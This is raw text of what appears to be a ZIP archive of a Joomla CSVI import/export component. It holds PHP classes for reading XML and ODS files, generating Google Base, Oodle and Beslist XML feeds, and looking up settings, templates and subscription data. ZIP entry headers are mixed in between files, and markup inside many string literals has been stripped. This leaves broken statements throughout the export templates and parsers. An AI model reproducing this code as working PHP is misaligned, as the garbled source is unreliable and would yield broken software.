$this->data->readInnerXML(); $xmldata = str_ireplace(array(''), '', $xmldata); $this->_xml_data[] = $xmldata; // At the next read, skip to the next node at this level $use_read = false; } else { // A node has been found that does not match the available fields list $csvilog->addDebug(JText::sprintf('COM_CSVI_XML_NODE_NOT_MATCH_FIELD', $this->data->name)); } } else { // The user defined map is being used to control the data extraction $current_path = $this->_getXmlNodePath($xml_path, strtolower($this->data->name)); // The node may have attributes that map to fields, regardless of the type of node if (isset($this->_xml_schema[$record_name]['nodes'][$current_path]['attrs'])) { // Node has attributes that are defined as fields while ($this->data->moveToNextAttribute()) { // Check each attribute to determine whether the value should be extracted if( isset($this->_xml_schema[$record_name]['nodes'][$current_path]['attrs'][strtolower($this->data->name)]) ) { $this->_xml_fields[] = $this->_xml_schema[$record_name]['nodes'][$current_path]['attrs'][strtolower($this->data->name)]; $xmldata = $this->data->readInnerXML(); $xmldata = str_ireplace(array(''), '', $xmldata); $this->_xml_data[] = $xmldata; // At the next read, skip to the next node at this level $use_read = false; } } } if (empty($this->_xml_schema[$record_name]['nodes'][$current_path]['field'])) { // This node is not defined as a field if (isset($this->_xml_schema[$record_name]['nodes'][$current_path]['field'])) { // This is a 'group' node - add it to the path unless it is self closing if( $self_closing == false ) { $this->_pushXmlNodePath( $xml_path, $this->data->name ); } } else { // Unknown node found - The file is not mapped correctly and the run cannot continue $csvilog->addDebug(JText::sprintf('COM_CSVI_XML_UNMAPPED_NODE', $this->data->name)); $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_XML_UNDEFINED_NODE', $this->data->name)); return false; } } else { // This node is defined as a field - extract the data $this->_xml_fields[] = $this->_xml_schema[$record_name]['nodes'][$current_path]['field']; $xmldata = $this->data->readInnerXML(); $xmldata = str_ireplace(array(''), '', $xmldata); $this->_xml_data[] = $xmldata; // At the next read, skip to the next node at this level $use_read = false; } } } else if ($this->data->nodeType == XMLReader::END_ELEMENT) { // Searching for the end of the record or the end of a group node if( strtolower($this->data->name) == $record_name ) { // End of record found break; } else { // End of node - Only valid case is the end of a group node if( !empty($this->_xml_schema) && !empty($xml_path) && $xml_path[count($xml_path)-1] == strtolower($this->data->name) ) { // End of group node found - pop it from the stack $this->_popXmlNodePath( $xml_path ); } else { // Unknown end of node - error $csvilog->addDebug(JText::sprintf('COM_CSVI_XML_UNEXPECTED_END_NODE', $this->data->name)); } } } } } } $this->_xml_cache = !empty($this->_xml_data); return $this->_xml_cache; } /** * Returns a boolean value to indicate whether the specified node is a new XML record type. * * @copyright * @author doorknob * @todo * @see * @access private * @param * @return bool true if record is a node | false if record is not a node * @since 3.0 */ private function _isXmlRecordNode( $node_type, $node_name ) { return ($node_type == XMLReader::ELEMENT && in_array(strtolower($node_name), $this->_xml_records)); } /** * Returns the list of data values found in the most recently read XML record. If the getXmlFields() function has been * called since the last call of this function, the cache may be full and the data can be returned without reading the file. * * @return array - The list of data values from the most recently read XML record (empty when end of file is reached) */ private function _getXmlData() { $return = !empty($this->_xml_data); if( $this->_xml_cache == false ) { $return = $this->_getXmlFieldsAndData(); } // Indicate that a new record will be required the next time this function is called $this->_xml_cache = false; return $return; } /** * Returns the list of fields found in the most recently read XML record. If the cache is empty, the next record is * read from the input file to ensure that the headers correspond with the data (in XML files, each record can have a * different set of 'headers'). Checking the status of the cache indicator also prevents records being skipped if this * function is called multiple times between records. * * @return array - The list of fields from the most recently read XML record (empty when end of file is reached) */ private function _getXmlFields() { $return = !empty($this->_xml_fields); if ($this->_xml_cache == false) { $return = $this->_getXmlFieldsAndData(); } return $return; } /** * Skips through the XML file until the the required number 'record' nodes has been read * Assume the file pointer is at the start of file * * @copyright * @author doorknob, RolandD * @todo * @see * @access private * @param * @return boolean true if records are skipped | false if records are not skipped * @since 3.0 */ private function _skipXmlRecords($pos) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Check whether the pointer needs to be moved if ($pos <= 0) return true; $count = 0; /** * Note: When the DTD is external, this must be done before the first read() * Validation not used because invalid files generate php errors when validated */ $validate_xml = false; if( $validate_xml == true ) { $this->data->setParserProperty(XMLReader::VALIDATE, true); } while ($this->data->read()) { // Validation checking disabled because a DTD (or RELAX NG) schema is required and is usually not available if( $validate_xml == true ) { $this->fp = $this->data->isValid(); if( $this->fp == false ){ $this->closeFile(); $csvilog->AddStats('incorrect', JText::_('COM_CSVI_XML_INVALID')); return false; } } // Searching for a valid record - must be the start of a node and in the list of valid record types if( !$this->_isXmlRecordNode( $this->data->nodeType, $this->data->name ) ) { // Not found - try again continue; } else { // Found a valid record while( $this->_isXmlRecordNode( $this->data->nodeType, $this->data->name ) ) { // Node is a valid record type - skip to the end of the record $this->data->next(); $count++; if( $count == $pos) { return true; } } } } // Hit EOF before skipping the required number of records return false; } /** * Build an array of xml nodes from the user defined map: * * $this->_xml_schema[record_node]['attrs'][attr_name] => field name * $this->_xml_schema[record_node]['nodes'][field_node_path]['attrs'][attr_name] => field name * $this->_xml_schema[record_node]['nodes'][field_node_path]['field'] => field name * Note: field_node_path is a comma separated list of node names below the record node * * @return bool returns true if all fine else false */ private function _getXmlSchema() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $xml_nodes_map = $template->get('xml_nodes_map', 'general', '', 'string', JREQUEST_ALLOWRAW); $xml_node_path = array(); // Single copy of this array that is passed by reference only $current_record = ''; // Single copy of this variable that is passed by reference only return $this->_getXmlNode($xml_nodes_map, $current_record, $xml_node_path); } /** * Process a node from the XML Map * It is permitted for the XML to just define one or more tables without fields (when the 'use headers' option is used) * * Note: Calls itself recursively to process a tree * * @return bool returns true if all fine else false */ private function _getXmlNode($node_content, $current_record, $xml_path) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $current_node = ''; $xml_schema = new XMLReader(); /** * Add a wrapper to make the XML viable and ensure that self closing tags contain a space before the '/>' * The XML may still be invalid but that's down to what the user entered */ $node_content = "\n".$node_content.''; $xml_schema->XML($node_content); // XML file to table map is valid XML - construct the arrays used in file extraction $use_read = true; // The XML could only be validated against a DTD if the syntax of the XML used for the map is made more complex $validate_xml = false; if ($validate_xml == true) { // Note: When the DTD is external, the property value must be set before the first read() $xml_schema->setParserProperty(XMLReader::VALIDATE, true); } while($use_read ? $xml_schema->read() : $xml_schema->next()) { // Validation checking disabled because a DTD (or RELAX NG) schema is required. if ($validate_xml == true) { if( $xml_schema->isValid() == false ){ $xml_schema->close(); return false; } } // Default to a reading a single node in the next loop $use_read = true; // Ignore any node associated with the root if ($xml_schema->name == 'da_root' ) { continue; } // Process start elements if ($xml_schema->nodeType == XMLReader::ELEMENT) { $self_closing = $xml_schema->isEmptyElement; // Ready to add a new node - but only if the last node was closed if (!empty($current_node)) { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_XML_NODE_UNCLOSED', $current_node)); return false; } // A new node was found - Check whether this is a new record type if (empty($current_record)) { // New record type // Check for a self-closing node $self_closing = $xml_schema->isEmptyElement; $current_record = strtolower($xml_schema->name); $this->_xml_records[] = strtolower($current_record); // Store any attributes while ($xml_schema->moveToNextAttribute()) { // Note1: $xml_schema->hasValue only indicates whether the element can have a value, not whether it does // Note2: empty($xml_schema->value) always return true, regardless of the actual value $value = $xml_schema->value; if( !empty($value) ) { if( $this->_isXmlFieldNameValid($xml_schema->value) ) { $this->_xml_schema[$current_record]['attrs'][strtolower($xml_schema->name)] = trim($xml_schema->value); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_XML_FILE_MAP_NO_REFERENCE', $xml_schema->value)); $xml_schema->close(); return false; } } } // Check for a self-closing node if( $self_closing == true ) { $current_record = ''; } } else { // New field type $current_node = strtolower($xml_schema->name); $current_path = $this->_getXmlNodePath($xml_path, $current_node); // Store any attributes while ($xml_schema->moveToNextAttribute()) { // Note1: $xml_schema->hasValue only indicates whether the element can have a value, not whether it does // Note2: empty($xml_schema->value) always return true, regardless of the actual value $value = $xml_schema->value; if( !empty($value) ) { if( $this->_isXmlFieldNameValid( $xml_schema->value ) ) { $this->_xml_schema[$current_record]['nodes'][$current_path]['attrs'][strtolower($xml_schema->name)] = trim($xml_schema->value); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_XML_FILE_MAP_NO_REFERENCE', $xml_schema->value)); $xml_schema->close(); return false; } } } $sub_node_content = $xml_schema->readInnerXML(); // Check whether there are any lower level nodes if (strstr($sub_node_content, '<') === false) { /** * Content has no embedded nodes - Assume a field name * Note: An empty node gives a blank field name which indicates an unwanted node * that is being mapped to prevent errors when processing the file */ if ($this->_isXmlFieldNameValid($sub_node_content)) { $this->_xml_schema[$current_record]['nodes'][$current_path]['field'] = trim($sub_node_content); } else { $this->_xml_schema[$current_record]['nodes'][$current_path]['field'] = ''; } } else { // There are embedded nodes - go down another level // Indicate a 'group' node by storing an empty field name $this->_xml_schema[$current_record]['nodes'][$current_path]['field'] = ''; // Push the node name to the path stack $this->_pushXmlNodePath($xml_path, $current_node); if( $this->_getXmlNode($sub_node_content, $current_record, $xml_path) == false ) { $xml_schema->close(); return false; } // At the next read, skip to the next node at this level $use_read = false; // Close the node $current_node = ''; // Pop the last item off the path stack $this->_popXmlNodePath($xml_path); } // Check for a self-closing node if ($self_closing == true) { $current_node = ''; } } } // Process end elements else if( $xml_schema->nodeType == XMLReader::END_ELEMENT ) { // End of node found // Check for end of record if( !empty($current_record) && strtolower($xml_schema->name) == $current_record ) { // End of record detected $current_record = ''; } // Check that the expected node was closed else if( !empty($current_node) && strtolower($xml_schema->name) == $current_node ) { // End of current node detected $current_node = ''; } } } $xml_schema->close(); // Node not terminated if (!empty($current_node) ) { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_XML_NODE_NOT_CLOSED', $current_node)); return false; } if (empty($this->_xml_records) ) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_XML_NO_RECORDS_DEFINED')); return false; } return true; } /** * Create a string to represent the XML node hierarchy from the 'record' node to a 'field' node * * @return string */ private function _getXmlNodePath($xml_path, $node_name) { return implode(',', $xml_path).(empty($xml_path) ? '' : ',').$node_name; } /** * Determines whether a specific field name is included in the list of * * @return boolean */ private function _isXmlFieldNameValid($field_name) { return in_array(strtolower($field_name), $this->_supported_fields); } /** * Add a new entry to the XML node stack */ private function _pushXmlNodePath($xml_path, $node_name) { /** * Note: The array index is made explicit because when a new row is added, the index value * assigned is one greater than that previously assigned. When enries are being continuously * added and removed, the automatically assigned index number becomes unpredictable */ $xml_path[count($xml_path)] = strtolower($node_name); } /** * Remove the last entry from the XML node stack * * @copyright * @author doorknob * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _popXmlNodePath($xml_path) { if( count($xml_path) > 1 ) { unset($xml_path[count($xml_path)-1]); } else { $xml_path = array(); } } /** * Sets the file pointer back to beginning * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function rewind() { $this->linepointer = 0; } /** * Advances the file pointer 1 forward * * @copyright * @author RolandD * @todo * @see * @access public * @param bool $preview True if called from the preview * @return * @since 3.0 */ public function next($preview=false) { if (!$preview) $discard = $this->readNextLine(); } } ?> PK@y>\2components/com_csvi/helpers/file/import/index.htmlnuW+APK@y>\FXʖ6components/com_csvi/helpers/file/import/ods_reader.phpnuW+A */ public function read($filename) { $this->_file = $filename; list($this->_xml_parser, $fp) = $this->new_xml_parser($this->_file); if (!$this->_xml_parser) { die("could not open XML input"); } $data = ''; while (!feof($fp)) { $data .= fread($fp, 4096); } fclose($fp); if (!xml_parse($this->_xml_parser, $data, true)) { die(sprintf("XML error: %s at line %d\n", xml_error_string(xml_get_error_code($this->_xml_parser)), xml_get_current_line_number($this->_xml_parser))); } xml_parser_free($this->_xml_parser); $this->cols = count($this->_data[1]); $this->rows = count($this->_data); return true; } /** * Handle the opening element */ private function startElement($parser, $tagname, $attribs) { switch ($tagname) { case 'TABLE:TABLE-ROW': $this->_linecount++; break; case 'TABLE:TABLE-CELL': $styles = array_keys($attribs); if (empty($styles)) { $this->_data[$this->_linecount]['options']['repeat'] = 1; } else { foreach ($styles as $stylekey => $style) { switch ($style) { case 'TABLE:NUMBER-COLUMNS-REPEATED': $this->_data[$this->_linecount]['options']['repeat'] = $attribs[$style]; break; case 'OFFICE:VALUE-TYPE': $this->_data[$this->_linecount]['options']['type'] = $attribs[$style]; break; } } } break; case 'TEXT:P': $this->_data[$this->_linecount]; break; } } /** * Handle the closing element */ private function endElement($parser, $name) { if (array_key_exists($this->_linecount, $this->_data)) { if (!array_key_exists('data', $this->_data[$this->_linecount]) && array_key_exists('options', $this->_data[$this->_linecount])) { foreach ($this->_data[$this->_linecount]['options'] as $option => $value) { switch ($option) { case 'type': break; case 'repeat': for ($r=0; $r < $value; $r++) { $this->_data[$this->_linecount][] = ''; } break; } } } else unset($this->_data[$this->_linecount]['data']); if (array_key_exists('options', $this->_data[$this->_linecount])) unset($this->_data[$this->_linecount]['options']); } } /** * Handle the data * * @todo parse */ private function characterData($parser, $data) { foreach ($this->_data[$this->_linecount]['options'] as $option => $value) { switch ($option) { case 'type': break; case 'repeat': for ($r=1; $r < $value; $r++) { $this->_data[$this->_linecount][] = $data; } break; } } $this->_data[$this->_linecount][] = $data; unset($this->_data[$this->_linecount]['options']); $this->_data[$this->_linecount]['data'] = true; } private function new_xml_parser($file) { $this->_xml_parser = xml_parser_create("UTF-8"); xml_parser_set_option($this->_xml_parser, XML_OPTION_CASE_FOLDING, 1); xml_set_object($this->_xml_parser, $this); xml_set_element_handler($this->_xml_parser, "startElement", "endElement"); xml_set_character_data_handler($this->_xml_parser, "characterData"); $fp = fopen($file, "rb"); if (!$fp) return false; else return array($this->_xml_parser, $fp); } } ?> PK@y>\)1components/com_csvi/helpers/file/import/.htaccessnuW+A Order allow,deny Deny from all PK@y>\+components/com_csvi/helpers/file/index.htmlnuW+APK@y>\2components/com_csvi/helpers/file/export/index.htmlnuW+APK@y>\7components/com_csvi/helpers/file/export/html/index.htmlnuW+APK@y>\)6components/com_csvi/helpers/file/export/html/.htaccessnuW+A Order allow,deny Deny from all PK@y>\F{E <components/com_csvi/helpers/file/export/html/csvimproved.phpnuW+Acontents = ''.chr(10); $this->contents .= ''.chr(10); return $this->contents; } /** * Start the table header * * @return string start table header */ function StartTableHeaderText() { return ''; } /** * End the table header * * @return string end table header */ function EndTableHeaderText() { return ''.chr(10); } /** * Creates the table header * * @return string th field */ public function TableHeaderText($headers) { return ''; } /** * Start the table body header * * @see $contents * @return string table body header */ public function BodyText() { return ''; } /** * Creates the HTML footer * * @see $contents * @return string HTML footer */ function FooterText() { $this->contents = '
      '.$headers.'
      '.chr(10); return $this->contents; } /** * Opens a table row * * @see $contents * @return string tr opening tag */ function NodeStart() { $this->contents = ''.chr(10); return $this->contents; } /** * Closes a table row * * @see $contents * @return string tr closing tag */ function NodeEnd() { $this->contents = ''.chr(10); return $this->contents; } /** * Adds a table td element * * @see $node * @return string td row */ function Element($column_header, $cdata=false) { $this->node = ''; $this->node .= $this->contents; $this->node .= ''; $this->node .= "\n"; return $this->node; } /** * Handles all content and modifies special cases * * @see $contents * @return string formatted table row */ function ContentText($content, $column_header, $fieldname, $cdata=false) { switch ($fieldname) { default: $this->contents = $content; break; } return $this->Element($column_header, $cdata); } } ?> PK@y>\6components/com_csvi/helpers/file/export/xml/index.htmlnuW+APK@y>\A, 5components/com_csvi/helpers/file/export/xml/oodle.phpnuW+Acontents = ''.chr(10); $this->contents .= ''.chr(10); return $this->contents; } /** * Creates the XML footer * * @see $contents * @return string XML header */ function FooterText() { $this->contents = ''.chr(10); return $this->contents; } /** * Opens an XML item node * * @see $contents * @return string XML node data */ function NodeStart() { $this->contents = ''.chr(10); return $this->contents; } /** * Closes an XML item node * * @see $contents * @return string XML node data */ function NodeEnd() { $this->contents = ''.chr(10); return $this->contents; } /** * Adds an XML element * * @see $node * @return string XML element */ function Element($column_header, $cdata=false) { $this->node = '<'.$column_header.'>'; if ($cdata) $this->node .= 'node .= $this->contents; if ($cdata) $this->node .= ']]>'; $this->node .= ''; $this->node .= "\n"; return $this->node; } /** * Handles all content and modifies special cases * * @see $contents * @return string formatted XML element */ function ContentText($content, $column_header, $fieldname, $cdata=false) { switch ($fieldname) { case 'manufacturer_name': case 'product_url': $cdata = true; default: $this->contents = $content; break; } if (empty($column_header)) $column_header = $fieldname; return $this->Element($column_header, $cdata); } } ?> PK@y>\ ;components/com_csvi/helpers/file/export/xml/csvimproved.phpnuW+Acontents = ''.chr(10); $this->contents .= ''.chr(10); return $this->contents; } /** * Creates the XML footer * * @see $contents * @return string XML header */ public function FooterText() { $this->contents = ''.chr(10); return $this->contents; } /** * Opens an XML item node * * @see $contents * @return string XML node data */ public function NodeStart() { $this->contents = ''.chr(10); return $this->contents; } /** * Closes an XML item node * * @see $contents * @return string XML node data */ public function NodeEnd() { $this->contents = ''.chr(10); return $this->contents; } /** * Adds an XML element * * @see $node * @return string XML element */ private function Element($column_header, $cdata=false) { $this->node = '<'.$column_header.'>'; if ($cdata) $this->node .= 'node .= $this->contents; if ($cdata) $this->node .= ']]>'; $this->node .= ''; $this->node .= "\n"; return $this->node; } /** * Handles all content and modifies special cases * * @see $contents * @return string formatted XML element */ public function ContentText($content, $column_header, $fieldname, $cdata=false) { switch ($fieldname) { case 'field_default_value': case 'product_attribute': $cdata = true; default: $this->contents = $content; break; } if (empty($column_header)) $column_header = $fieldname; return $this->Element($column_header, $cdata); } } ?> PK@y>\&LL6components/com_csvi/helpers/file/export/xml/google.phpnuW+Acontents = ''.chr(10); $this->contents .= 'contents .= 'xmlns:c="http://base.google.com/cns/1.0">'.chr(10); $this->contents .= ''.chr(10); // Get the XML channel header $settings = JRequest::getVar('settings'); $this->contents .= ''.$settings->get('google_base.gb_title').''.chr(10); $this->contents .= ''.$settings->get('google_base.gb_link').''.chr(10); $this->contents .= ''.$settings->get('google_base.gb_description').''.chr(10); return $this->contents; } /** * Creates the XML footer * * @see $contents * @return string XML header */ function FooterText() { $this->contents = ''.chr(10); $this->contents .= ''.chr(10); return $this->contents; } /** * Opens an XML item node * * @see $contents * @return string XML node data */ function NodeStart() { $this->contents = ''.chr(10); return $this->contents; } /** * Closes an XML item node * * @see $contents * @return string XML node data */ function NodeEnd() { $this->contents = ''.chr(10); return $this->contents; } /** * Adds an XML element * * @see $node * @return string XML element */ function Element($column_header, $cdata=false) { if (stristr($column_header, 'c:')) { $this->node = '<'.$column_header.' type="string">'; } else $this->node = '<'.$column_header.'>'; if ($cdata) $this->node .= 'node .= $this->contents; if ($cdata) $this->node .= ']]>'; $this->node .= ''; $this->node .= "\n"; return $this->node; } /** * Handles all content and modifies special cases * * @see $contents * @return string formatted XML element */ function ContentText($content, $column_header, $fieldname, $cdata=false) { switch ($fieldname) { case 'custom_shipping': switch($column_header) { case 'g:shipping': if (strpos($content, ':')) { list($country, $service, $price) = explode(":", $content); $this->contents = ' '.$country.' '.$service.' '.$price.' '; } else $this->contents = ''; break; } break; case 'custom': switch($column_header) { case 'g:tech_spec_link': $cdate = true; $this->contents = $content; break; case 'g:tax': list($country, $region, $rate, $tax_ship) = explode(":", $content); $this->contents = ' '.$country.' '.$region.' '.$rate.' '.$tax_ship.' '; break; default: $this->contents = $content; break; } break; case 'category_path': $paths = explode("|", $content); $content = ''; foreach ($paths as $id => $path) { $this->contents = str_replace('/', '>', $path); $content .= $this->Element($column_header, $cdata); } return $content; break; case 'manufacturer_name': case 'product_url': $cdata = true; default: $this->contents = $content; break; } if (empty($column_header)) $column_header = $fieldname; return $this->Element($column_header, $cdata); } } ?> PK@y>\R^7components/com_csvi/helpers/file/export/xml/beslist.phpnuW+Acontents = ''.chr(10); $this->contents .= ''.chr(10); return $this->contents; } function FooterText() { $this->contents = ''.chr(10); return $this->contents; } function NodeStart() { $this->contents = ''.chr(10); return $this->contents; } function NodeEnd() { $this->contents = ''.chr(10); return $this->contents; } function Element($column_header, $cdata=false) { $this->node = '<'.$column_header.'>'; if ($cdata) $this->node .= 'node .= $this->contents; if ($cdata) $this->node .= ']]>'; $this->node .= ''; $this->node .= "\n"; return $this->node; } function ContentText($content, $column_header, $fieldname, $cdata=false) { switch ($fieldname) { case 'category_path': $this->CategoryPath($content); break; case 'manufacturer_name': case 'product_url': $cdata = true; default: $this->contents = $content; break; } if (empty($column_header)) $column_header = $fieldname; return $this->Element($column_header, $cdata); } function CategoryPath($category) { $this->contents = str_replace("/", " > ", trim($category)); } } ?> PK@y>\M~y+ 6components/com_csvi/helpers/file/export/xml/custom.phpnuW+Ainput; $template = $jinput->get('template', null, null); return $template->get('header', 'layout', '', null, 2); } /** * Creates the XML footer * * @see $contents * @return string XML header */ public function FooterText() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); return $template->get('footer', 'layout', '', null, 2); } /** * Opens an XML item node * * @see $contents * @return string XML node data */ public function NodeStart() { $this->_node(); return; } /** * Closes an XML item node * * @see $contents * @return string XML node data */ public function NodeEnd() { return $this->_node; } /** * A full node template * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _node() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $this->_node = $template->get('body', 'layout', '', null, 2); } /** * Adds an XML element * * @see $node * @return string XML element */ private function _element($content, $fieldname, $cdata=false) { $data = ''; if ($cdata) $data .= ''; $this->_node = str_ireplace('['.$fieldname.']', $data, $this->_node); return; } /** * Handles all content and modifies special cases * * @see $contents * @return string formatted XML element */ public function ContentText($content, $column_header, $fieldname, $cdata=false) { if (empty($column_header)) $column_header = $fieldname; return $this->_element($content, $column_header, $cdata); } } ?> PK@y>\)5components/com_csvi/helpers/file/export/xml/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)1components/com_csvi/helpers/file/export/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)*components/com_csvi/helpers/file/.htaccessnuW+A Order allow,deny Deny from all PK@y>\I‰(components/com_csvi/helpers/settings.phpnuW+AgetQuery(true); $query->select('params'); $query->from('#__csvi_settings'); $query->where('id = 1'); $db->setQuery($query); $settings = $db->loadResult(); $registry = new JRegistry(); $registry->loadString($settings); $this->_params = $registry; } /** * Get a requested value * * @param string $setting the setting to get the value for * @param mixed $default the default value if no $setting is found */ public function get($setting, $default=false) { return $this->_params->get($setting, $default); } } ?>PK@y>\&components/com_csvi/helpers/index.htmlnuW+APK@y>\xȌ%components/com_csvi/helpers/panel.phpnuW+Ainput; // Check if we are running cron, no need to show the panel if (!$jinput->get('cron', false, 'bool')) { $helper = new CsviHelper(); $buttons = $helper->getButtons(); // Create the top slider $topmenu = '
      '; $topmenu .= $buttons->process; $topmenu .= $buttons->replacements; $topmenu .= $buttons->log; $topmenu .= $buttons->maintenance; $topmenu .= $buttons->availablefields; $topmenu .= '
      '; $topmenu = preg_replace("/(\s\s+)/", ' ', $topmenu); ?> PK@y>\)%components/com_csvi/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\fU, , 5components/com_csvi/helpers/com_virtuemart_config.phpnuW+A_vmcfgfile = JPATH_ADMINISTRATOR.'/components/com_virtuemart/virtuemart.cfg'; $this->_parse(); // Load the version information if (file_exists(JPATH_ADMINISTRATOR.'/components/com_virtuemart/version.php')) { require_once JPATH_ADMINISTRATOR.'/components/com_virtuemart/version.php'; $this->_vmcfg['release'] = vmVersion::$RELEASE; } else $this->_vncfg['release'] = null; } /** * Finds a given VirtueMart setting * * @copyright * @author RolandD * @todo * @see * @access * @param string $setting The config value to find * @return mixed value if found | false if not found * @since 4.0 */ public function get($setting) { if (isset($this->_vmcfg[$setting])) { return $this->_vmcfg[$setting]; } else return false; } /** * Parse the VirtueMart configuration * * Here is a PHP 5.3 requirement and work-around * * @copyright * @author RolandD * @todo * @see http://www.php.net/parse_ini_string * @access private * @param * @return * @since 4.0 */ private function _parse() { // Parse the configuration file if (file_exists($this->_vmcfgfile)) { $config = file_get_contents($this->_vmcfgfile); // Do some cleanup $config = str_replace('#', ';', $config); // Check if the command is available if (!function_exists('parse_ini_string') ) { $array = array(); $lines = explode("\n", $config ); foreach( $lines as $line ) { $statement = preg_match( "/^(?!;)(?P[\w+\.\-]+?)\s*=\s*(?P.+?)\s*$/", $line, $match ); if( $statement) { $key = $match[ 'key' ]; $value = $match[ 'value' ]; # Remove quote if( preg_match( "/^\".*\"$/", $value ) || preg_match( "/^'.*'$/", $value ) ) { $value = mb_substr( $value, 1, mb_strlen( $value ) - 2 ); } $array[ $key ] = $value; } } $this->_vmcfg = $array; } else $this->_vmcfg = parse_ini_string($config); } } }PK@y>\D(5&&&components/com_csvi/helpers/csvidb.phpnuW+A_database = JFactory::getDbo(); } public function setQuery($sql, $offset = 0, $limit = 0) { $this->_database->setQuery($sql, $offset, $limit); if (!$this->cur = $this->_database->query()) { $this->_error = $this->_database->getErrorMsg(); } } public function getRow() { if (!is_object($this->cur)) $array = mysql_fetch_object($this->cur); else $array = $this->cur->fetch_object(); if ($array) { return $array; } else { if (!is_object($this->cur)) mysql_free_result( $this->cur ); else $this->cur->free_result(); return false; } } public function getErrorMsg() { return $this->_error; } public function getNumRows() { return $this->_database->getNumRows($this->cur); } public function getQuery() { return $this->_database->getQuery(); } }PK@y>\0**(components/com_csvi/helpers/template.phpnuW+A_settings = $data; } } /** * Find a value in the template * * @copyright * @author RolandD * @todo JRequest::_cleanVar * @see JFilterInput * @access public * @param string $name the name of the parameter to find * @param string $group the group in which to find the parameter * @param string $default the default value to use when not found * @param string $filter the filter to apply * @param int $mask Filter bit mask. 1=no trim: If this flag is cleared and the * input is a string, the string will have leading and trailing whitespace * trimmed. 2=allow_raw: If set, no more filtering is performed, higher bits * are ignored. 4=allow_html: HTML is allowed, but passed through a safe * HTML filter first. If set, no more filtering is performed. If no bits * other than the 1 bit is set, a strict filter is applied. * @param bool $special if the field should require special processing * @return mixed the value found * @since 3.0 */ public function get($name, $group='', $default = '', $filter=null, $mask=0, $special=true) { // Set the initial value $value = ''; // Find the value if (empty($group)) { if (array_key_exists($name, $this->_settings)) $value = $this->_settings[$name]; } else { if (array_key_exists($group, $this->_settings)) { if (array_key_exists($name, $this->_settings[$group])) { $value = $this->_settings[$group][$name]; } } } // Return the found value if (is_array($value) && empty($value)) $value = $default; else if ('' === $value) $value = $default; // Special processing if ($special) { switch ($name) { case 'language': case 'target_language': $value = strtolower(str_replace('-', '_', $value)); break; case 'field_delimiter': if (strtolower($value) == 't') $value = "\t"; break; } } // Clean up and return if (is_null($filter) && $mask == 0) return $value; else return JRequest::_cleanVar($value, $mask, $filter); } /** * Set a value in the template * * @copyright * @author RolandD * @todo * @see * @access public * @param string $name the name of the parameter to find * @param string $group the group in which to find the parameter * @param string $value the value to set * @return void * @since 3.0 */ public function set($name, $group='', $value = '') { // Set the value if (empty($group)) { $this->_settings[$name] = $value; } else { $this->_settings[$group][$name] = $value; } } /** * Load a template * * @copyright * @author RolandD * @todo * @see * @access public * @param int $id the ID of the template to load * @return * @since 4.0 */ public function load($id) { if ($id > 0) { // Load the data $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('settings').', '.$db->quoteName('name')); $query->from($db->quoteName('#__csvi_template_settings')); $query->where($db->quoteName('id').' = '.$db->quote($id)); $db->setQuery($query); $data = $db->loadObject(); // Fill the settings $settings = json_decode($data->settings, true); if (!is_array($settings)) $settings = array(); $this->_settings = $settings; // Set the name if (!empty($data)) $this->setName($data->name); } } /** * Set the template name * * @copyright * @author RolandD * @todo * @see * @access public * @param string $name the name of the template * @return * @since 4.0 */ public function setName($name) { // Set the template name $this->_name = $name; } /** * Get the name of the template * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function getName() { return $this->_name; } /** * Return all settings * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function getSettings() { return $this->_settings; } } ?> PK@y>\.components/com_csvi/helpers/com_akeebasubs.phpnuW+Ainput; $this->_csvidata = $jinput->get('csvi_data', null, null); } /** * Get a user ID * * @copyright * @author RolandD * @todo * @see * @access public * @param string $username the username to find the ID for * @return int the ID of the user * @since 4.0 */ public function getUser($username) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('id')); $query->from($db->quoteName('#__users')); $query->where($db->quoteName('username').' = '.$db->quote($username)); $db->setQuery($query); return $db->loadResult(); } /** * Get a subscription ID * * @copyright * @author RolandD * @todo * @see * @access public * @param string $subscription_title the name(s) of the subscription * @return * @since 4.0 */ public function getSubscription($subscription_title) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('akeebasubs_level_id')); $query->from($db->quoteName('#__akeebasubs_levels')); $titles = explode(',', $subscription_title); $newtitles = array(); foreach ($titles as $title) { $newtitles[] = $db->quote(trim($title)); } if (!empty($newtitles)) { $query->where($db->quoteName('title').' IN ('.implode(',', $newtitles).')'); $db->setQuery($query); $ids = $db->loadColumn(); if (!empty($ids)) { return implode(',', $ids); } } else return ''; } /** * Get the list of order users * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of objects * @since 4.0 */ public function getOrderUser() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $query = $db->getQuery(true); $filter = $jinput->get('filter'); $query->select($db->quoteName('user_id')); $query->select($db->quoteName('name', 'user_name')); $query->from($db->quoteName('#__akeebasubs_subscriptions', 's')); $query->leftJoin($db->quoteName('#__users', 'u').' ON '.$db->quoteName('s').'.'.$db->quoteName('user_id').' = '.$db->quoteName('u').'.'.$db->quoteName('id')); $query->where($db->quoteName('u').'.'.$db->quoteName('name').' LIKE '.$db->quote('%'.$filter.'%')); $query->order($db->quoteName('name')); $query->group($db->quoteName('user_id')); $db->setQuery($query, 0, 10); $users = $db->loadObjectList(); if ($users) return $users; else 